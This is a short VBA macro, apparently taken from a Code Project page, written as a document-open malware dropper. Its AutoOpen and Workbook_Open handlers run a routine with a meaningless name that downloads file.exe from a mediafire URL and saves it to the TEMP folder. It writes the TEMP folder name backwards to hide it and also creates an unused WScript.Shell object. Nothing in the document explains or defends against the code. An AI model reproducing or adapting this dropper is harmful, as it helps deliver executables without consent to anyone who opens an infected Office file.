<pre>Sub ertrettggdfg() sdfertunn End Sub Sub AutoOpen() ertrettggdfg End Sub Sub Workbook_Open() ertrettggdfg End Sub Sub sdfertunn() Dim http_obj Dim stream_obj Dim shell_obj Set http_obj = CreateObject("Microsoft.XMLHTTP") Set stream_obj = CreateObject("ADODB.Stream") Set shell_obj = CreateObject("WScript.Shell") URL = "http://www.mediafire.com/file/file.exe" 'Where to download the file from FileName = Environ(StrReverse("PMET")) & "/file.exe" 'Name to save the file (on the local system) http_obj.Open "GET", URL, False http_obj.send stream_obj.Type = 1 stream_obj.Open stream_obj.write http_obj.responseBody stream_obj.savetofile FileName, 2 End Sub
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)